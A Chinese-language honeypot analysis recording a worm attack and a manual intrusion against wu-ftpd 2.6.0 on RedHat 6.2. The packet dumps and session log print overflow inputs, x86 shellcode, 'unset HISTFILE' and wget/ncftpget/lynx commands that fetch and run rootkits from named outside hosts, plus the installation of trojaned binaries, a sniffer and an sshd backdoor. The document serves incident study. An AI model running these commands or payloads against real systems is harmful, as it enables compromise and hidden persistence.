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1.蠕虫 

 
我装了一台 RedHat Linux 6.2的 honeypot，做好所有准备工作后，在防火墙上
打开策略将其对外开放。不到 20分钟，就有一条蠕虫光临了。 
 
下面贴出捕获的部分数据包和分析。 
 
蠕虫先是匿名登录 FTP服务器： 
 
09/03-14:31:28.726827 10.0.0.1:21 -> 210.3.205.65:45257 
TCP TTL:64 TOS:0x10 ID:477 IpLen:20 DgmLen:130 DF 
***AP*** Seq: 0x4CBF7747  Ack: 0x7194723B  Win: 0x7D78  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 480408 31978864  
32 32 30 20 61 62 63 20 46 54 50 20 73 65 72 76  220 abc FTP serv 
65 72 20 28 56 65 72 73 69 6F 6E 20 77 75 2D 32  er (Version wu-2 
2E 36 2E 30 28 31 29 20 4D 6F 6E 20 46 65 62 20  .6.0(1) Mon Feb  
32 38 20 31 30 3A 33 30 3A 33 36 20 45 53 54 20  28 10:30:36 EST  
32 30 30 30 29 20 72 65 61 64 79 2E 0D 0A        2000) ready... 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
09/03-14:31:28.968760 210.3.205.65:45257 -> 10.0.0.1:21 
TCP TTL:49 TOS:0x0 ID:34661 IpLen:20 DgmLen:61 DF 
***AP*** Seq: 0x7194723B  Ack: 0x4CBF7795  Win: 0x16D0  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 31979275 480408  
55 53 45 52 20 66 74 70 0A                       USER ftp. 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
09/03-14:31:29.238175 210.3.205.65:45257 -> 10.0.0.1:21 
TCP TTL:49 TOS:0x0 ID:34662 IpLen:20 DgmLen:66 DF 
***AP*** Seq: 0x71947244  Ack: 0x4CBF77D9  Win: 0x16D0  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 31979301 480433  
50 41 53 53 20 6D 6F 7A 69 6C 6C 61 40 0A        PASS mozilla@. 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
09/03-14:31:29.246455 10.0.0.1:21 -> 210.3.205.65:45257 
TCP TTL:64 TOS:0x10 ID:480 IpLen:20 DgmLen:100 DF 
***AP*** Seq: 0x4CBF77D9  Ack: 0x71947252  Win: 0x7D78  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 480460 31979301  
32 33 30 20 47 75 65 73 74 20 6C 6F 67 69 6E 20  230 Guest login  
6F 6B 2C 20 61 63 63 65 73 73 20 72 65 73 74 72  ok, access restr 
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69 63 74 69 6F 6E 73 20 61 70 70 6C 79 2E 0D 0A  ictions apply... 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
 
然后开始发送溢出程序，经过多次尝试寻找溢出点，最后攻击成功获得 Shell：  
 
[**] FTP RNFR ././ attempt [**] 
09/03-14:31:29.497555 210.3.205.65:45257 -> 10.0.0.1:21 
TCP TTL:49 TOS:0x0 ID:34663 IpLen:20 DgmLen:62 DF 
***AP*** Seq: 0x71947252  Ack: 0x4CBF7809  Win: 0x16D0  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 31979326 480460  
52 4E 46 52 20 2E 2F 2E 2F 0A                    RNFR ././. 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
 
。。。 。。。 
 
 
[**] FTP RNFR ././ attempt [**] 
09/03-14:31:52.163774 210.3.205.65:45257 -> 10.0.0.1:21 
TCP TTL:49 TOS:0x0 ID:34745 IpLen:20 DgmLen:73 DF 
***AP*** Seq: 0x7194777F  Ack: 0x4CBF8810  Win: 0x1920  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 31981590 482673  
52 4E 46 52 20 2E 2F 2E 2F 2E 2F 2E 2F 2E 2F 2E  RNFR ./././././. 
2F 2E 2F 2E 0A                                   /./.. 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
09/03-14:31:52.178225 10.0.0.1:21 -> 210.3.205.65:45257 
TCP TTL:64 TOS:0x10 ID:564 IpLen:20 DgmLen:97 DF 
***AP*** Seq: 0x4CBF8810  Ack: 0x71947794  Win: 0x7D78  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 482701 31981590  
33 35 30 20 46 69 6C 65 20 65 78 69 73 74 73 2C  350 File exists, 
20 72 65 61 64 79 20 66 6F 72 20 64 65 73 74 69   ready for desti 
6E 61 74 69 6F 6E 20 6E 61 6D 65 0D 0A           nation name.. 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
[**] FTP wu-ftp file completion attempt { [**] 
09/03-14:31:52.421271 210.3.205.65:45257 -> 10.0.0.1:21 
TCP TTL:49 TOS:0x0 ID:34746 IpLen:20 DgmLen:59 DF 
***AP*** Seq: 0x71947794  Ack: 0x4CBF883D  Win: 0x1920  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 31981619 482701  
43 57 44 20 7E 7B 0A                             CWD ~{. 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
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09/03-14:31:52.422227 10.0.0.1:21 -> 210.3.205.65:45257 
TCP TTL:64 TOS:0x10 ID:565 IpLen:20 DgmLen:56 DF 
***AP*** Seq: 0x4CBF883D  Ack: 0x7194779B  Win: 0x7D78  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 482726 31981619  
0A 73 50 0A                                      .sP. 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
09/03-14:31:52.656467 210.3.205.65:45257 -> 10.0.0.1:21 
TCP TTL:49 TOS:0x0 ID:34747 IpLen:20 DgmLen:124 DF 
***AP*** Seq: 0x7194779B  Ack: 0x4CBF8841  Win: 0x1920  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 31981644 482726  
33 DB F7 E3 B0 46 33 C9 CD 80 6A 54 8B DC B0 27  3....F3...jT...' 
B1 ED CD 80 B0 3D CD 80 52 B1 10 68 2F 44 E2 F8  .....=..R..h/D.. 
8B DC B0 3D CD 80 58 6A 54 6A 28 58 CD 80 6A 0B  ...=..XjTj(X..j. 
58 99 52 68 6E 2F 73 68 68 2F 2F 62 69 89 E3 52  X.Rhn/shh//bi..R 
53 89 E1 CD 80                                   S.... 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
 
unset HISTFILE以避免.bash_history记录历史命令，同时运行 uname –a查看
自己 id号。其实蠕虫是非交互式的，uname –a应该是蠕虫利用的攻击程序里
自带的。然后试图调用 wget、或 ncftpget、或 lynx去下载一个 rootkit，其完整
路径为： 
 
http://home.wanadoo.nl/katrien.boon/tux.tgz 
ftp://rob:optic@130.161.191.58/tux.tgz 
 
如果下载成功，就开始解压缩、安装，最后清除安装文件。 
 
09/03-14:31:52.923684 210.3.205.65:45257 -> 10.0.0.1:21 
TCP TTL:49 TOS:0x0 ID:34748 IpLen:20 DgmLen:80 DF 
***AP*** Seq: 0x719477E3  Ack: 0x4CBF8841  Win: 0x1920  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 31981668 482751  
75 6E 73 65 74 20 48 49 53 54 46 49 4C 45 3B 69  unset HISTFILE;i 
64 3B 75 6E 61 6D 65 20 2D 61 3B 0A              d;uname -a;. 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
[**] ATTACK RESPONSES id check returned root [**] 
09/03-14:31:52.949755 10.0.0.1:21 -> 210.3.205.65:45257 
TCP TTL:64 TOS:0x10 ID:568 IpLen:20 DgmLen:91 DF 
***AP*** Seq: 0x4CBF8841  Ack: 0x719477FF  Win: 0x7D78  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 482780 31981668  
75 69 64 3D 30 28 72 6F 6F 74 29 20 67 69 64 3D  uid=0(root) gid= 

http://home.wanadoo.nl/katrien.boon/tux.tgz
ftp://rob:optic@130.161.191.58/tux.tgz
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30 28 72 6F 6F 74 29 20 67 72 6F 75 70 73 3D 35  0(root) groups=5 
30 28 66 74 70 29 0A                             0(ftp). 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
[**] FTP command overflow attempt [**] 
09/03-14:31:53.205468 210.3.205.65:45257 -> 10.0.0.1:21 
TCP TTL:49 TOS:0x0 ID:34749 IpLen:20 DgmLen:378 DF 
***AP*** Seq: 0x719477FF  Ack: 0x4CBF8868  Win: 0x1920  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 31981697 482780  
65 63 68 6F 20 31 20 3B 20 69 66 20 5B 20 2D 66  echo 1 ; if [ -f 
20 2F 75 73 72 2F 62 69 6E 2F 77 67 65 74 20 5D   /usr/bin/wget ] 
20 3B 20 74 68 65 6E 20 2F 75 73 72 2F 62 69 6E   ; then /usr/bin 
2F 77 67 65 74 20 68 74 74 70 3A 2F 2F 68 6F 6D  /wget http://hom 
65 2E 77 61 6E 61 64 6F 6F 2E 6E 6C 2F 6B 61 74  e.wanadoo.nl/kat 
72 69 65 6E 2E 62 6F 6F 6E 2F 74 75 78 2E 74 67  rien.boon/tux.tg 
7A 20 3B 20 65 6C 73 65 20 69 66 20 5B 20 2D 66  z ; else if [ -f 
20 2F 75 73 72 2F 62 69 6E 2F 6E 63 66 74 70 67   /usr/bin/ncftpg 
65 74 20 5D 20 3B 20 74 68 65 6E 20 2F 75 73 72  et ] ; then /usr 
2F 62 69 6E 2F 6E 63 66 74 70 67 65 74 20 22 66  /bin/ncftpget "f 
74 70 3A 2F 2F 72 6F 62 3A 6F 70 74 69 63 40 31  tp://rob:optic@1 
33 30 2E 31 36 31 2E 31 39 31 2E 35 38 2F 74 75  30.161.191.58/tu 
78 2E 74 67 7A 22 20 3B 65 6C 73 65 20 69 66 20  x.tgz" ;else if  
5B 20 2D 66 20 2F 75 73 72 2F 62 69 6E 2F 6C 79  [ -f /usr/bin/ly 
6E 78 20 5D 20 3B 20 74 68 65 6E 20 2F 75 73 72  nx ] ; then /usr 
2F 62 69 6E 2F 6C 79 6E 78 20 2D 64 75 6D 70 20  /bin/lynx -dump  
68 74 74 70 3A 2F 2F 68 6F 6D 65 2E 77 61 6E 61  http://home.wana 
64 6F 6F 2E 6E 6C 2F 6B 61 74 72 69 65 6E 2E 62  doo.nl/katrien.b 
6F 6F 6E 2F 74 75 78 2E 74 67 7A 20 3E 3E 20 74  oon/tux.tgz >> t 
75 78 2E 74 67 7A 20 3B 20 66 69 20 3B 20 66 69  ux.tgz ; fi ; fi 
20 3B 20 66 69 0A                                 ; fi. 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
[**] FTP command overflow attempt [**] 
09/03-14:31:53.698379 210.3.205.65:45257 -> 10.0.0.1:21 
TCP TTL:49 TOS:0x0 ID:34751 IpLen:20 DgmLen:266 DF 
***AP*** Seq: 0x71947A8B  Ack: 0x4CBF88AB  Win: 0x1920  TcpLen: 32 
TCP Options (3) => NOP NOP TS: 31981747 482831  
69 66 20 5B 20 2D 66 20 74 75 78 2E 74 67 7A 20  if [ -f tux.tgz  
5D 20 3B 20 74 68 65 6E 20 2F 62 69 6E 2F 74 61  ] ; then /bin/ta 
72 20 2D 7A 78 76 66 20 74 75 78 2E 74 67 7A 20  r -zxvf tux.tgz  
3B 20 65 6C 73 65 20 69 66 20 5B 20 2D 66 20 74  ; else if [ -f t 
75 78 2E 74 67 7A 2E 31 20 5D 20 3B 20 74 68 65  ux.tgz.1 ] ; the 
6E 20 2F 62 69 6E 2F 74 61 72 20 2D 7A 78 76 66  n /bin/tar -zxvf 

http://home.wana
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20 74 75 78 2E 74 67 7A 2E 31 20 3B 20 66 69 20   tux.tgz.1 ; fi  
3B 20 66 69 20 3B 20 73 6C 65 65 70 20 31 30 20  ; fi ; sleep 10  
3B 20 63 64 20 74 75 78 6B 69 74 20 3B 20 2E 2F  ; cd tuxkit ; ./ 
74 75 78 6B 69 74 20 70 69 6D 70 62 6F 79 20 31  tuxkit pimpboy 1 
34 38 35 39 20 36 39 36 39 20 3B 20 73 6C 65 65  4859 6969 ; slee 
70 20 34 30 20 3B 20 63 64 20 2E 2E 20 3B 20 72  p 40 ; cd .. ; r 
6D 20 2D 72 66 20 74 75 78 2A 20 3B 20 65 63 68  m -rf tux* ; ech 
6F 20 22 31 22 0A                                o "1". 
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 
 
 
这是一个典型的利用 wu-ftpd 漏洞蠕虫的攻击过程。在以后的时间内，我的
honeypot 被这种蠕虫多次感染，不过各自去下载的 rootkit 都不同，看来都被
各人定制过。有的蠕虫会修改/etc/ftpusers 文件，加上 ftp 和 anonymous 两行
记录以关闭匿名登录，使得后来者无法再次利用 wu-ftpd 的漏洞，这也相当于
给系统“打补丁”了。 
 
不想再抓这些自动攻击了，因为人工的入侵过程才是有趣的。 
 
 

2.人工入侵 

 
下面是记录的一次人工攻击的完整会话录像，比单纯的数据包看起来舒服。步

骤和蠕虫差不多，先是利用 wu-ftpd 的溢出获得权限，然后去下载一个 rk.tgz
的 rootkit后门程序包，似乎解压缩没成功，于是 ftp连接到自己的老窝重新下
载了一个 rk.eht。在这里我没做任何修改，所以你能看到他的用户名和密码J
解开后安装，替换了很多系统程序，安装了一个嗅探器，加上 SSH等后门，并
把系统的信息发送到一个指定的邮箱。 
 
具体就不再做分析了，仅把入侵者的输入部分用深色字体表示。 
 
 
220 abc FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready. 
USER ftp 
331 Guest login ok, send your complete e-mail address as password. 
PASS mozilla@ 
230 Guest login ok, access restrictions apply. 
350 File exists, ready for destination name 
350 File exists, ready for destination name 
(重复信息，省略) 
350 File exists, ready for destination name 
350 File exists, ready for destination name 
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PWD 
257 "/" is current directory. 
550 
00000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000x1CtQ-PjX1YjX: 
File name too long. 
250 CWD command successful. 
CWD . 
250 CWD command successful. 
350 File exists, ready for destination name 
CWD 735073 
550 735073: No such file or directory. 
CWD 73507 
550 73507: No such file or directory. 
CWD 7350 
550 7350: No such file or directory. 
RNFR . 
350 File exists, ready for destination name 
350 File exists, ready for destination name 
 
sP 
3F3jT'=Rh/D=XjTj(XjXRhn/shh//biRSunset HISTFILE;id;uname -a; 
Linux abc 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown 
ls 
bin 
etc 
lib 
pub 
wget killtecsport.go.ro/rk.eht 
ls 
bin 
etc 
lib 
pub 
wget 
lynx -dump "www.killtecsport.go.ro/rk.eht" > rk.tgz 
ls 
bin 
etc 
lib 
pub 

http://www.killtecsport.go.ro/rk.eht
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rk.tgz 
tar -zxvf rk.tgz 
ls 
bin 
etc 
lib 
pub 
rk.tgz 
ftp killtecsport.go.ro 
killtecsport 
adduser 
ls 
Name (killtecsport.go.ro:root):  
-rw-r--r--   1 free     web         39345 Jul 13 13:05 flood.tgz 
-rw-r--r--   1 free     web         55334 Aug 14 08:06 mirkforce.tgz 
-rw-r--r--   1 free     web          4917 May 23 14:50 muie.tgz 
-rw-r--r--   1 free     web         41754 Aug 12 22:35 newBSD.tar.gz 
-rw-r--r--   1 free     web        221244 Aug 18 12:37 newssh.tgz 
-rw-r--r--   1 free     web         56169 Jul 27 07:58 php.gz 
drwxr-xr-x   9 free     web            89 Jul 21 06:02 psybnc 
-rw-r--r--   1 free     web        200798 Jul 21 06:08 psybnc.tar.gz 
-rw-r--r--   1 free     web        519130 Aug 19 08:07 rk.eht 
-rw-r--r--   1 free     web        308710 Aug 23 08:58 rk1.eht 
-rw-r--r--   1 free     web         31827 May 23 14:35 scaners.tar.gz 
-rw-r--r--   1 free     web          2073 Aug 12 22:35 sl3.tar.gz 
-rw-r--r--   1 free     web          7851 Aug 18 12:33 strobe.tgz 
-rw-r--r--   1 free     web         27198 Jul 16 09:03 suid 
-rw-r--r--   1 free     web        342893 May 12 06:01 tk.tgz 
-rw-r--r--   1 free     web          2118 Aug 18 12:35 vadimII.tgz 
get rk.eht 
bye 
tar -zxvf rk.eht 
rk/ 
rk/ 
rk/chsh 
rk/inet 
rk/sense 
rk/utils/ 
rk/utils/nowu 
rk/login 
rk/.1addr 
rk/.1file 
rk/.1proc 
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rk/ls 
rk/vdir 
rk/crontab-entry 
rk/ps 
rk/wp 
rk/shad 
rk/netstat 
rk/xinetd 
rk/find 
rk/sshd/ 
rk/sshd/ssh 
rk/sshd/init.sshd 
rk/sshd/sshd-install 
rk/sshd/sshd_config 
rk/sshd/install.log 
rk/sshd/ssh_host_key 
rk/sshd/sshd 
rk/.1logz 
rk/top 
rk/install 
rk/atd.init 
rk/du 
rk/pstree 
rk/syslogd 
rk/syslogd.init 
rk/md5bd 
rk/sysinfo 
rk/linsniffer 
rk/functions 
rk/clean 
rk/slice 
rk/stream 
rk/killall 
cd rk 
./install 
 
         
[0m[36m-=[0m[1;30m[[0m[1;32m-=- EhT rK -=- [0m[1;30m][0m[36m=-[0m[37m 
[0m[36m|[0m[1;36m= [0m[1;37mInstalling trojaned programs...[0m[37m 
[0m[36m|[0m[1;36m--- [0m[37mchsh 
[0m[36m|[0m[1;36m--- [0m[37mps 
[0m[36m|[0m[1;36m--- [0m[37mtop 
[0m[36m|[0m[1;36m--- [0m[37mpstree 



 

Sinbad Technical Publications  Page 9 

 
 
[0m[36m|[0m[1;36m--- [0m[37mkillall 
[0m[36m|[0m[1;36m--- [0m[37mls 
[0m[36m|[0m[1;36m--- [0m[37mfind 
[0m[36m|[0m[1;36m--- [0m[37mdu 
[0m[36m|[0m[1;36m--- [0m[37mnetstat 
[0m[36m|[0m[1;36m--- [0m[37msyslogd 
[0m[36m|[0m[1;36m--- [0m[37mlog cleaner 
[0m[36m|[0m[1;36m--- [0m[37mwp 
[0m[36m|[0m[1;36m--- [0m[37mshad 
[0m[36m|[0m[1;36m= [0m[1;37mInstalling DoS programs...[0m[37m 
[0m[36m|[0m[1;36m--- [0m[37mvadim 
[0m[36m|[0m[1;36m--- [0m[37mslice 
[0m[36m|[0m[1;36m= [0m[1;37mInstalling sniffer...[0m[37m 
[0m[36m|[0m[1;36m= [0m[1;37mInstalling sshd backdoor...[0m[37m 
[0m[36m|[0m[1;36m= [0m[1;37mSetting up crontab entries...[0m[37m 
[0m[1;32mopen ports:[0m[37m 
portmap    283   root    4u  IPv4        332              TCP *:sunrpc (LISTEN) 

rpc.statd  306   root    1u  IPv4        366              TCP *:909 (LISTEN) 

identd     369   root    4u  IPv4        429              TCP *:auth (LISTEN) 

identd     372   root    4u  IPv4        429              TCP *:auth (LISTEN) 

identd     373   root    4u  IPv4        429              TCP *:auth (LISTEN) 

identd     375   root    4u  IPv4        429              TCP *:auth (LISTEN) 

identd     376   root    4u  IPv4        429              TCP *:auth (LISTEN) 

inetd      416   root    4u  IPv4        478              TCP *:ftp (LISTEN) 

inetd      416   root    5u  IPv4        479              TCP *:telnet (LISTEN) 

inetd      416   root    6u  IPv4        480              TCP *:shell (LISTEN) 

inetd      416   root    9u  IPv4        481              TCP *:login (LISTEN) 

inetd      416   root   12u  IPv4        484              TCP *:finger (LISTEN) 

inetd      416   root   13u  IPv4        486              TCP *:linuxconf (LISTEN) 

lpd        429   root    6u  IPv4        500              TCP *:printer (LISTEN) 

sendmail   459   root    4u  IPv4        537              TCP *:smtp (LISTEN) 

atd       1069   root    3u  IPv4       1199              TCP *:ssmtp (LISTEN) 

[0m[1;32mchecking for other rootkits:[0m[37m 
[0m[1;31msniffer logz[0m[37m 
identd    1047   root    7w   REG        3,5       0    77791 
/usr/local/games/tcp.log 
[0m[1;31m/dev filez:[0m[37m 
[0m[1;32mSending mail...wait few minutez[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
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[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 
[0m[1;32mDone.[0m[37m 


